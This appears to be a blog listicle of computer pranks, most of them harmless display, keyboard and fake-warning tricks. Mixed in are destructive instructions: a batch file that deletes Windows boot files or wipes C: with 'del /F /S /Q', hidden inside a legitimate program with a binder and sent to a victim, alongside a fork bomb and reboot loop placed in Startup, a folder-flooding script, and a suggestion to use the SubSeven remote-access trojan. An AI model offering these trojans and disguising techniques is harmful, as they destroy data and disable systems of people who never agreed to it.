The Best Computer Pranks Ever

 
Best Computer Pranks
 

Today I’m going to show you the BEST COMPUTER PRANKS EVER .

Let’s dive right into the list…

  • Fake Kernel Panic, Broken Monitor, and Blue Screen of Death

This is very easy to do, all you need is a working internet connection. To do this, open the web browser and then visit http://happyhourvirus.com. You will see a page as shown below.
 
Happy Hour Virus
 
 
Scroll down and then choose an effect (just click on it). You will see the effect immediately. If you want to stop the effects, just press the Esc key on your keyboard, or if you are using a Mac computer, you can use the iPanic app to simulate a fake kernal panic.
  • Rotate Display

Mark Zuckerberg Upside down
 

Yes, you can rotate the display anyway you want!

To rotate the display, just press Alt Ctrl Up/Left/Right/Down, or use the Rotate program (The RAR password: gokulg).

 

  • Frozen Desktop

Desktop is frozen
 

You can make a desktop look like it is frozen without using any third-party software or service. It is very easy to do, just take a screenshot of the current desktop and set it as your wallpaper, then hide the desktop icons. Done!

  • Display The Word SPACE For Blank Space

This trick can make your victim to question the reality! Yes, let’s assume you are the victim and you are typing something very important, after some seconds you realized that whenever your press the Spacebar it displays the word SPACE instead of a blank space. Horrifying right?! That’s what I’m going to show you now…
 
First, download and install AutoHotKey on your computer.

 

Then right-click on your desktop and select New > AutoHotKey Script. You will see a new autohotkey script file on the desktop. Then right-click on the file and then select “Edit Script“. Then paste the following code into the editor and save the file.

 

#NoTrayIcon
*Space::Send,SPACE

SPACE Script Screenshot
 
Now right-click on the file and select “Compile Script“, this will create an executable file. Then copy the executable file to the victim’s computer and run it. That’s all.
To stop the effect, open task manager and then end the executable file.
You can also change the code to get a different result (see the below image).

 

BACKSPACE Script Screenshot
 
  • Fake Official Linux Upgrade

Linux Logo
 
 
If you want to prank a colleague, this is probably the best and easy one. All you need is a Linux Live CD and an official-looking memo saying “This computer has been upgraded to Linux“.
Before the user come in to his/her workplace, go to the workplace and boot off the Linux Live CD. Then remove the install icon from the desktop and then leave the fake memo on his/her desk.
 
The same idea can be used in many different ways, you can use a Windows XP live CD/USB drive, or Remix OS live CD/USB, or any other OS. Be creative!
  • Funny Shutdown Notification on Startup

Funny Face
 

This is also an easy one to do!

 
First, you have to browse to C>Users>User>AppData>Roaming>Microsoft>Windows>Start Menu>Programs>Startup.
 
Then right-click on the Startup folder and select New > Shortcut.
 
Create Shortcut Window
 
 
 
Then paste the following in the “Type the location of the item” field.
 

shutdown -s -t 1925000 -c “System error: You are not allowed to use this computer, fool”

Then click “Next” and give a name for the shortcut, and then click on “Finish“.
When the user reboots the computer, it will show a shutdown notification with the following message.

System error: You are not allowed to use this computer, fool.

  • Shutdown a Computer Forever

Dead Computer
 

Yes, this is real. If you do this, it will render the victim’s system unusable.

 
Note: Don’t try this if you are not good at running!
 
Open the notepad and then paste the following code in it.

 

@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini

Save the file as shutdown-prank.bat or any other file name with .bat extension.

Then Download Shockwave’s Binder and then run it. (The RAR password is: gokulg)

 

You will see a small window as shown below.

Shockwave's Binder Screenshot
 
Now, click on the BROWSE (the first one) and then select the shutdown-prank.bat file. Then click on the second browse button and then select a legit program (example: photoshop.exe).
 
Then enable “Run First File Hidden” then click on the “BIND!” button.
 
Now send the output file to your target.
 
When they open the file, the code will execute and delete all the necessary system files.
 
You can also use the following code instead of the above one.

 

cmd /c del c:windows* /F /S /Q
cmd /c del c:* /F /S /Q

 
Have fun!
 
 
  • Fake Virus Warning Message

Warning Sign
 
This prank shows a series of Warning messages to the user.

 

It’s pretty easy to do, first, you have to open the notepad and then paste the following code in it.

msg * Your computer has detected a virus.
msg * To remove the virus click OK or close this box
msg * Your Hard drives are now being formatted
msg * Please wait ………..
msg * It is just a prank bro……

Then save it as “prank.bat“.
 
Now move this file to the following location (on victim’s computer):
 
C>Users>User>AppData>Roaming>Microsoft>Windows>Start Menu>Programs>Startup
 
When the user reboots the computer, the prank.bat file will execute and display the fake warning messages.
 
Or,  you can use the following code.

 

@echo off
cls
echo Fatal Error!! Your computer is under attack!!
pause
echo Deleting Files
pause
:files
echo !323%%%@#@GJFGG42JG
echo !3424%@#%^&@52%@%gs
echo !@$@^624@$6262$hG
echo !@#4-07234&5*((6hkd
echo !&^x755&*G8*%%%EDITORCONTENT%%amp;
echo !^$68*$78()&4578
echo !&8898*65$566$68(9
goto files*

Or, you can use the following code, and save it as “prank.vbs“.

 

X=MsgBox(“Error while opening computer. Do you want to fix it?”,4 48,”Computer”)
X=MsgBox(“Unable to fix this error. Do you want to scan your computer?”,3 48,”Computer Scan”)
X=MsgBox(“Alert! Virus detected. Do you want to delete it?”,3 48,”Alert”)
X=MsgBox(“Unable to delete virus”,2 48,”Critical Error”)
X=MsgBox(“Virus Activated”,2 16,”Virus Alert”)
X=MsgBox(“Your computer is hacked.”,1 16,”Hacked”)
X=MsgBox(“That was a PRANK!!!”,0 64,”Prank”)

  • Keyboard Layout Prank  # best computer pranks ever 

keyboard
 
You can prank your friends by changing the keyboard layout. If you don’t know how to do it, don’t worry, here is a step by step guide on how to change the keyboard layout in Windows 7:

Go to the “Control Panel” . Then click on “Clock, Language, and Region” and then select “Region and Language“. You will see a window as shown below.

Region and Language window
 

Then select the “Keyboards and Languages” tab, and then click on “Change Keyboards“.

Text Services and Input Languages Window
 
Now click on the “Add” button and then select a layout (check the box). Then click on “OK“.
 
Then click on the language bar (on task bar ) and enable the selected layout. Now let the user to use the computer.
If the layout you chose is “United States-Dvorak” , when they type the word “pizza“, they will see “lc;;a” in the screen.
 
Try different layouts and have fun!
  • Self Denial of Service

Knock yourself out funny cartoon
image credit: http://rustedreality.com/
What are your thoughts on “Knocking yourself out”? It is insane, right? Now think about a computer that is knocking itself out! That would be super crazy right? Then let’s do it…
 
To make a computer knock itself out, first you have to paste the following code into the notepad and save it as “selfdos.bat“.
 

@echo off
:START
start selfdos.bat
GOTO START

 
Then move the file to the following location:
 
C>Users>User>AppData>Roaming>Microsoft>Windows>Start Menu>Programs>Startup.
 
When the victim reboots the computer, the batch file will open itself again and again until the computer freezes!
 
 
  • Create Thousands Of Empty Folders In Just Few Seconds

Folder Monster
 

If you are looking for an annoying prank, then this might be the one. This prank will create an unlimited number of folders on the desktop (or anywhere you want).

 
Open notepad and paste the following code in it.
 

@echo off
:top
md %random%
goto top

 
Then save it as “unlimited.bat” in the desktop. Now right click on the file and select “Create Shortcut“. Then move the shortcut to the following location:
 
C>Users>User>AppData>Roaming>Microsoft>Windows>Start Menu>Programs>Startup.
 
Then shutdown the computer.
 
When the computer start up, it will automatically create thousands of folders on the desktop.

 

Or, you can use the following code to create unlimited folders in the D and E drives.

@echo off
:VIRUS
cd /d D:
md %RANDOM%
cd /d E:
md %RANDOM%
goto VIRUS
REM #######################
REM This is folder virus

 
Try it yourself, it is really annoying.

 

 
  • MS Word Prank

funny cartoon
image credit: www.glasbergen.com

This prank will display a different word instead of the typed word on the Microsoft word. It is actually very easy to do, first open Microsoft Word and then go to Tools > AutoCorrect Options. Then in the “Replace” field, type a common word such as and, I, the etc. Then in the “With” field, type some unrelated word! Then click on “Add“. That’s all!

 
 
  • Ghost Possessed Computer

funny comic 2
image credit: www.explainxkcd.com

You can create the effect of a ghost possessed computer in many different ways. Some of them are give below:

  • Plug a wireless USB mouse / keyboard into their PC.
  • Setup task scheduler to launch random apps / webpages.
  • Use Program – WAV Launcher program.
  • Use Mouse Move program.
  • Use Synergy or other mouse / keyboard sharing applications.
  • Use WiFi Mouse like applications.
  • Use RATs like SubSeven.
  • Use the Email Fun program (for an email prank). [The RAR password is: techaxio]
  • Use the Fake Delete program to simulate the deletion of all files/folders in the Windows directory.
  • Use the Flip It program to simulate a Windows message that is flipped upside-down (Clicking on the YES button will slowly make each piece of text rotate 180 degrees until you can read it ).
  • Use the Follow Me program to make the windows start button to follow the mouse.
 
  • Reverse the Trackpad or Mouse Wheel Scrolling

Mouse impostor funny cartoon
 

Note: You must have AutoHotKey installed on your computer.

Open notepad and paste the following code in it.

WheelUp::
Send {WheelDown}
Return
WheelDown::
Send {WheelUp}
Return

Then save it as “mouse.ahk“. Then right click on the file and select “Compile Script“, this will create an executable file of the script.
 
Now you can bind the executable with a legit executable program using the Shockwave’s Binder and send it to the target user, or you can just send the executable (if the target is too dumb). When the user execute the file, the prank will begin.

To stop the change, just open task manager and then end the “mouse” process.

  • Dead Mouse

Dead Mouse Funny
image credit: http://thisonesite.com/
 
To make an optical mouse appear faulty, just place a small piece of tape over the bottom (where the light comes out), or use the Dirty Mouse program.
 
  • Crazy CD/DVD Drive #best computer pranks ever 

CD/DVD drive
 

What if you can make a CD/DVD drive go crazy? That would be super fun, right? Then let’s do it…

 
Copy and paste this code into the Notepad:
 

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 10000
loop

 
Then save it as “crazydrive.vbs“. Then bind this file with a legit program using the Shockwave’s Binder and then send it to the target user. When the user execute the script, the fun will begin.

Or, you can use the following script to open the CD/DVD drive every 5 seconds.

do
Dim ts
Dim strDriveLetter
Dim intDriveLetter
Dim fs ‘As Scripting.FileSystemObject
Const CDROM = 4
On Error Resume Next
Set fs = CreateObject(“Scripting.FileSystemObject”)
strDriveLetter = “”
For intDriveLetter = Asc(“A”) To Asc(“Z”)
Err.Clear
If fs.GetDrive(Chr(intDriveLetter)).DriveType = CDROM Then
If Err.Number = 0 Then
strDriveLetter = Chr(intDriveLetter)
Exit For
End If
End If
Next
Set oWMP = CreateObject(“WMPlayer.OCX.7” )
Set colCDROMs = oWMP.cdromCollection
For d = 0 to colCDROMs.Count – 1
colCDROMs.Item(d).Eject
Next ‘null
For d = 0 to colCDROMs.Count – 1
colCDROMs.Item(d).Eject
Next ‘null
set owmp = nothing
set colCDROMs = nothing
loop

To stop the script, just open the task manager and then end the “Wscript” process.

  • Continuous Restart

This is actually a really scary prank, so do it with caution.
 
Right-click on the desktop and select New > Shortcut. Then copy this:

 

%windir%system32shutdown.exe -r -t 00

Paste it in the location area and then click on “Next“. Then give a name for this shortcut and then click on “Finish“.
Now move the newly created shortcut to the following location.
 
C>Users>User>AppData>Roaming>Microsoft>Windows>Start Menu>Programs>Startup
Then shutdown the computer. From now on whenever the computer starts, it will restart itself again and again….
 
  • Add/Remove Prank

This prank makes it appear that all of your software on your computer is being removed using the Windows Add/Remove Program feature. To do this prank, you need the Add/Remove prank program. If you are going to try this program, bind it with another program (use Shockwave’s Binder) so that the target will execute this on their computer.
 
Add/Remove Programs Properties
 
 
If you run the Add/Remove program, there will be no option for you to close this program, all you can do is click on the “OK” button, if you do that, the fun will begin!
 
How To Close the Add/Remove Program:
 
Just click on the Close button after it has completed pretending to remove all of the software on your computer.
 
If you want to close the program before doing it’s thing, open task manager and then end the add_remove.exe process.
 
 
  • Start Button that avoids mouse clicks (works on XP, 2003, 2000, NT, ME,98, 95)

It is really fun watching somebody try to click the Start button when it is avoiding the click (I did this to my brother’s XP virtual machine, it was fun). All you have to do is download the Avoid program and run it on the computer.

 

How To Close the Avoid Program:

Move your mouse pointer to the top-left corner of your screen. This will stop the program from running in memory. If you have successfully moved your mouse in the correct position, the program will close and display an About Box Screen. Once you close this screen, the program will exit. Or, just open the task manger and then end the Avoid.exe process

 
  • Reverse Mouse Movements

Real Mouse on Computer
image credit: http://clipproject.info/

Suddenly your mouse is totally reverse, moving up the mouse will move the mouse pointer down, and moving the mouse to the left will move the mouse pointer to the right side, and you will think that your mouse has gone haywire!

 
To reverse the mouse, download the Sakasa Mouse program and then run it.

 

How To Stop the Reverse Mouse Effect?

Just go to the system tray, and right click on the Sakasa Mouse icon and then select “Exit“.

  • Another Blue Screen of Death Prank (Internet access is not required)

Death emoji
 

Download and run the Blue Screen Screensaver on the computer. It will display a screen as shown below.

 
To stop the blue screen of death, just press any key on the keyboard.
  • Illegal Operation Blocked

This will display the standard Windows Illegal Operation dialog box and make you believe that the application has crashed.

 

Just replace a commonly used shortcut with the Bomb program and have fun!

 
You can also make it more realistic by using the command prompt. Here is how to do it:
 

bomb.exe [program to run]

For example, bomb.exe c:windowsnotepad.exe

This will run the program you want to run, and after 5 seconds it will display the BOMB message.

Illegal Operation dialog box
 
  • Click Me

This is a program that displays a “Click Me” button that avoids your mouse pointer.
 
Download the Click Me program and run it on your friend’s computer.
 
  • Annoying Start Button

If the Start Menu open every 45 seconds. That would be super annoying, right? That’s the idea!
 
Download and run the ClickStart program on the computer and it will click on the the start button every 45 seconds.
 
The ClickStart program supports a command line option to specify the amount of delay between each start button click. Just use the following syntax:
 

clickstart [seconds between each click]

Example: c:clickstartclickstart.exe 60
 
To stop this prank, just move your mouse pointer to the top-left corner of your screen. or go to the task manger and end the “clickstart.exe” process.
 
 
  • Super Annoying Clippy

Do you remember Clippy? If not, no problem. For those who don’t know, Clipyy is a digital assistant for Microsoft Office that looks like this:
 
 
 
You can annoy the hell out of someone with Clippy. How do you do that? It is very easy, just download Clippy program and then run it on the computer. When you run it, it will hide in the background for 1 minute then popup in the lower right hand corner of the screen and say something useless and repeat the process with different message every single minute.
 
You can also customize the Clippy messages as much as you want, the possibilities are endless!
 
It also supports several command line options. Here is the syntax:
 

clippy.exe [seconds to delay] [norandom]

 
[norandom] – Disables the random reading of the clippy.txt file.
 
 
  • Replicating Mouse Cursor

 
A mouse cursor that replicates current Windows mouse cursor over-and-over again on the screen. It is good prank and it is very annoying. If you want to know how to do it, keep reading….
 
Download the Copy Cursor program and then run it on the computer. It will copy the current mouse cursor and paste it where your mouse just was on the desktop (every 3 seconds). After several minutes you could have hundreds of mouse pointers on your desktop.
 
With the help of command line options, you can change the amount of time it delays in between each cursor copy.

For example, if you use the following command, the amount of time it delays in between each cursor copy will set to 5 seconds.

C:foldercopycursor.exe 5

To stop the prank, just move the cursor to the top-left corner of the screen.

  • Crazy Num Lock, Caps Lock, and Scroll Lock

Num Lock, Caps Lock, and Scroll Lock
 

You can make the Num Lock, Caps Lock, and Scroll Lock keys go crazy. All you have to do is, execute Crazy Num Caps Scroll program on the computer, it will automatically begin toggling the keys, and the user will be like “WTF?”. [RAR password: techaxio]

  • Automatic Cursor Change

It is a simple prank, but you can still make your friend believe that his/her computer is infected with a dangerous virus!
 
Download the Cursor Fun program and then run it on the computer. You will see a window as shown below.
 
Cursor Fun Window
 
 
Then configure the prank according to your needs and then click on “OK“.
 
If you want to stop the prank, just move your mouse pointer to the top-left corner of your screen.
 
  • Unwanted File Download

funny cartoon 3
image credit: http://www.glasbergen.com/

This prank can make the victim believe that their computer is infected, and it is downloading unwanted files from all kind of crappy sites.

 
Downloading fake files
 
 
It is very easy to do, all you have to do is download and run the DownHoax program on the computer (The RAR password is: techaxio).
 
If you try to cancel or stop this program, it will simply restart the download process. But if you let it complete the fake download, it will stop itself.
 
 
  • Formatting Drives

This one can make the victim believe that one of their drive is formatted. The Fake Format program

is so good that even the user cannot stop, interrupt, or cancel the formatting.

 
Fake Format Windows
 
This program is harmless, so use it anyway you want.

 

  • Shutdown Prank

Shutdown funny cartoon
image credit: www.comedycard.co.uk

This is a scary prank and it is very simple,  just run the Fake Shutdown program on the computer and it will show a shutdown Windows screen, the problem with this shutdown window is that it cannot be closed and forces you to shutdown Windows, if you do that, the screen will go black for few seconds. That is enough to change someone’s happy mood into a very sad one.

 
After few seconds, a screen will appear and tell the user that it was just a joke!
 
Gotcha!
 
 
 
  • Flashing Image

This prank let’s you flash any image on a computer screen, this is great one to play on your friends… The program that can do this is called the “Flasher

“, and it has no user interface. So if you want to flash a specific image, you have to use the following command line. Otherwise it will only show a logo. [RAR password: techaxio]

 

flasher.exe [seconds to delay] [path to image file]

 
Example: C:UsersGokuDesktopflasher.exe 60 C:UsersGokuDesktopscaryface.jpg
 
If you want to stop the flashing, move the mouse to the top-left corner of the screen.

 

 
  • HeadAche Prank

Headache
 
This one really gives the victim headaches. All you have to do is run the HeadAche program. Please don’t run it on your computer unless you want headaches (I tried it and I’m not feeling well).
 
 
  • Mouse Droppings

Mouse Droppings is a prank program that drops little black turds all over your screen. This is a great joke to play on an unsuspecting friend or colleague. The program allows you to configure how often Mouse Droppings craps little turds on the screen.
 
If you want to configure the program, use the following command line.
 

Droppings.exe [seconds between each poop]

 
Example: C:UsersGokuDesktopdroppings.exe 5
 
To stop the prank, just move the mouse pointer to the top-left corner of the screen.
 
  • Broken Mouse

What if you can disable the left, right or both mouse clicks every x seconds? That would be a nice prank right? Then let’s do it…
 
To do this prank, all you need is a copy of MouseClicks program! Run it on the computer and then configure the prank and click on the “Start” button.
 
MouseClicks Setup Window
 
 
If you want to stop the prank, just move the mouse pointer to the top-left corner of the screen.
 
You can bypass the MouseClicks setup user interface by using the following command line options.
 

mouseclicks.exe [left,right,both] [seconds between disable]

 
Example: C:UsersGokuDesktopmouseclicks.exe left 30
 
 
  • Password Prank

Password Lock
 

Password Prank is a prank program that displays a fake, but very realistic, password box to the user and no matter what key the user presses, it starts typing in its own password. Once the password is entered an error message is displayed to the user telling them their password is not long enough.

 
To end the prank, just click the close button after submitting the password or you can click on the cross button (X) in the upper right corner of the program.
 
 
  • Popup Prank

Popup
 

The Popup Prank program allows you to simulate online popup advertisements. It allows you to add any photo in the advertisement to make the ad viewing a scary experience for the victim [RAR password: techaxio].

 
Configuring the software is easier than anything, you can do that in less than 30 seconds. Yes, that’s all it lakes to prank the hell out of someone.
 
  • Random Burper

Burping cartoon
 

Random Burper is a program that can play gross burp sounds randomly every single minute. It also turn the internal Windows volume to maximum just before burping, so the victim won’t miss it!

 
If you want to stop it, just move the mouse pointer to the top-left corner of the screen.
 

 

 

 

  • Farter

Farting cartoon
 
You can setup a computer in such a way that it makes fart noises every time the user closes a program or doing something else. How to do it? It is super easy, first you have to download fart sounds from the internet. Then search for Sound settings, and open the Sound settings window, then select the “Sounds” tab.
 
Let’s say I want the computer to play a fart noise when the user closes a program, I will select the “Close Program” option and then click on “Browse…” and select the fart audio. Then click on “Apply“. From now on whenever the user closes a program, they will hear a fart noise.
  • Broken Monitor

This prank can make victims believe that the their monitor has problems painting the colors. Screen Screw is the name of the program that can do this prank. When you run Screen Screw, it will add an odd color tint that changes to different colors every x seconds.
 
Colors change every 10 seconds by default, you can specify the amount of time between color changes with the following command line.
 

Screenscrew.exe [amount of time]


Example: C:UsersGokuDesktopscreenscrew.exe 3
 
 
  • Shaky Screen

If you run the Shakedown program on a computer, it will immediately start to shake the computer screen! This will not annoy you, but can give you eye strain.
 
To stop the shaking, just press any key or click the mouse button.
 
 
  • Show – Hide Desktop #best computer pranks ever 

Show – Hide Desktop is a program that can hide/show the desktop icons in every x seconds. It is not scary prank, but it can definitely freak out even the experienced users [RAR password: techaxio].

 

 
To stop the prank all you have to do is, move the mouse pointer to the top-left corner of the screen.
 
  • The Finger

 
The Finger is a prank program that can switch the mouse cursor to the middle finger every x seconds/minutes. This is must have program for a serious prankster.
  • Vista Upgrade Prank

If you can somehow make the user run the Vista Upgrade Prank program, then it will be fun. Because once it is executed, there is no cancelling, even if the user click on the cancel button, it will disable itself, the process will run until the progress bar is complete. Then the fake upgrader will show that the upgrade was successful and allow the user to close the upgrade program.
Windows Vista Upgrade Program
 
Upon closing the upgrade a full screen Vista logo will appear with the Vista startup sound. After some load time the user will be presented with a Mac OS X desktop with a little bit of Windows flavor!
 
To stop this prank, you have to wait until the fake Vista upgrade is completed, after that, just double-click on the fake Vista desktop or click on the fake Vista desktop 5 separate times.
  • Screen Melting

You can prank your friends by creating this melting effect on desktop:
 
 
It is pretty easy, all you have to do is, download Screen_Melter.exe and then run it on the computer.
 
If you know C and how to compile the c code into .exe file, then you can customize the melting effect. Here is the source code of Screen_Melter :

#include
int nRandWidth = 150, nRandHeight = 15, nSpeed = 0.5;
int nScreenWidth, nScreenHeight;
LRESULT WINAPI MelterProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch(Msg)
{
case WM_CREATE:
{
HDC hdcDesktop = GetDC(HWND_DESKTOP);
HDC hdcWindow = GetDC(hWnd);
BitBlt(hdcWindow, 0, 0, nScreenWidth, nScreenHeight, hdcDesktop, 0, 0, SRCCOPY);
ReleaseDC(hWnd, hdcWindow);
ReleaseDC(HWND_DESKTOP, hdcDesktop);
SetTimer(hWnd, 0, nSpeed, NULL);
ShowWindow(hWnd, SW_SHOW);
}
return 0;
case WM_ERASEBKGND:
return 0;
case WM_PAINT:
ValidateRect(hWnd, NULL);
return 0;
case WM_TIMER:
{
HDC hdcWindow = GetDC(hWnd);
int nXPos = (rand() % nScreenWidth) – (nRandWidth / 2),
nYPos = (rand() % nRandHeight),
nWidth = (rand() % nRandWidth);
BitBlt(hdcWindow, nXPos, nYPos, nWidth, nScreenHeight, hdcWindow, nXPos, 0, SRCCOPY);
ReleaseDC(hWnd, hdcWindow);
}
return 0;
case WM_CLOSE:
case WM_DESTROY:
{
KillTimer(hWnd, 0);
PostQuitMessage(0);
}
return 0;
}
return DefWindowProc(hWnd, Msg, wParam, lParam);
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nShowCmd)
{
nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
nScreenHeight = GetSystemMetrics(SM_CYSCREEN);
WNDCLASS wndClass = { 0, MelterProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), 0, NULL, “Melter” };
if(!RegisterClass(&wndClass)) return MessageBox(HWND_DESKTOP, “Cannot register class!”, NULL, MB_ICONERROR | MB_OK);
HWND hWnd = CreateWindow(“Melter”, NULL, WS_POPUP, 0, 0, nScreenWidth, nScreenHeight, HWND_DESKTOP, NULL, hInstance, NULL);
if(!hWnd) return MessageBox(HWND_DESKTOP, “Cannot create window!”, NULL, MB_ICONERROR | MB_OK);
srand(GetTickCount());
MSG Msg = { 0 };
while(Msg.message != WM_QUIT)
{
if(PeekMessage(&Msg, NULL, 0, 0, PM_REMOVE))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
if(GetAsyncKeyState(VK_ESCAPE) & 0x8000)
DestroyWindow(hWnd);
}
return 0;
}

  • System Hacking Prank

This one may scare the hell out of someone. The following effect is what you get if you do this prank (watch the video).
Paste the following code into a notepad.
 

@echo off
title Hacking
color 02
cls
echo L
ping localhost -n .15 >nul
cls
echo Lo
ping localhost -n .15 >nul
cls
echo Loa
ping localhost -n .15 >nul
cls
echo Load
ping localhost -n .15 >nul
cls
echo Loadi
ping localhost -n .15 >nul
cls
echo Loadin
ping localhost -n .15 >nul
cls
echo Loading
ping localhost -n .15 >nul
cls
echo Loading.
ping localhost -n .15 >nul
cls
echo Loading..
ping localhost -n .15 >nul
cls
echo Loading…
ping localhost -n 5 >nul
cls
echo W
ping localhost -n .15 >nul
cls
echo We
ping localhost -n .15 >nul
cls
echo Wel
ping localhost -n .15 >nul
cls
echo Welc
ping localhost -n .15 >nul
cls
echo Welco
ping localhost -n .15 >nul
cls
echo Welcom
ping localhost -n .15 >nul
cls
echo Welcome
ping localhost -n .15 >nul
cls
echo Welcome Ba
ping localhost -n .15 >nul
cls
echo Welcome Bac
ping localhost -n .15 >nul
cls
echo Welcome Back
ping localhost -n .15 >nul
cls
echo Welcome Back M
ping localhost -n .15 >nul
cls
echo Welcome Back Ma
ping localhost -n .15 >nul
cls
echo Welcome Back Mast
ping localhost -n .15 >nul
cls
echo Welcome Back Maste
ping localhost -n .15 >nul
cls
echo Welcome Back Master
ping localhost -n .15 >nul
cls
echo Welcome Back Master!
ping localhost -n 5 >nul
cls
echo H
ping localhost -n .15 >nul
cls
echo Ha
ping localhost -n .15 >nul
cls
echo Hac
ping localhost -n .15 >nul
cls
echo Hack
ping localhost -n .15 >nul
cls
echo Hacki
ping localhost -n .15 >nul
cls
echo Hackin
ping localhost -n .15 >nul
cls
echo Hacking
ping localhost -n .15 >nul
cls
echo Hacking S
ping localhost -n .15 >nul
cls
echo Hacking Sy
ping localhost -n .15 >nul
cls
echo Hacking Sys
ping localhost -n .15 >nul
cls
echo Hacking Syst
ping localhost -n .15 >nul
cls
echo Hacking Syste
ping localhost -n .15 >nul
cls
echo Hacking Syste
ping localhost -n .15 >nul
cls
echo Hacking System No
ping localhost -n .15 >nul
cls
echo Hacking System Now
ping localhost -n .15 >nul
cls
echo Hacking System Now!
ping localhost -n 5 >nul
cls
ping localhost -n .15 >nul
echo ud$$**$$$$bc.
echo u@**” 4$$$$Nu
echo J “”#$$$r
echo @ $$b BBNKVNKNFGK NKJNVKJKV
echo .F ^*3$$
echo :% 4 J$$N
echo $ :F :$$$
echo 4F 9 J$$$$
echo 4$ k 4$$bed$$$$$
echo $r ‘F $$$$$$$$$r
echo $$ b. $$$$$$$$$N
echo $$$k 3eeed$b $$Euec.”$$$$$
echo .@$**N. $$$” $$$F’L $$$$$$ $$$$
echo :$L ‘L $$$ 4$$$ * $$$$$F $$$F edNc
echo @$$N ^k $$$ 3$$*% $F4$$$$ $$$” d” z$N
echo $$$ ^k ‘$$” #$$F .$ $$$c.u@$$ J” @$$r
echo $$$$b *u ^$L $ $$$$$$u@ $ d$$$
echo ^$$$. “NL “N. z@* $$ $$$$$$$P $P d$$$$
echo ^”*$$b ‘*L 9$E 4$$ d$$$$$$” d* J$$$r
echo ^$$u ‘$. $$L “#” d$$$”.@$ .@$” z$$*”
echo ^$$. ^$N.3$$ 4u$$$$ 4$$ u$*” z$$”
echo ‘*$$$$ *$b J$$$$b u$P $” d$P
echo #$$$ 4$ 3*$”$*$ $”

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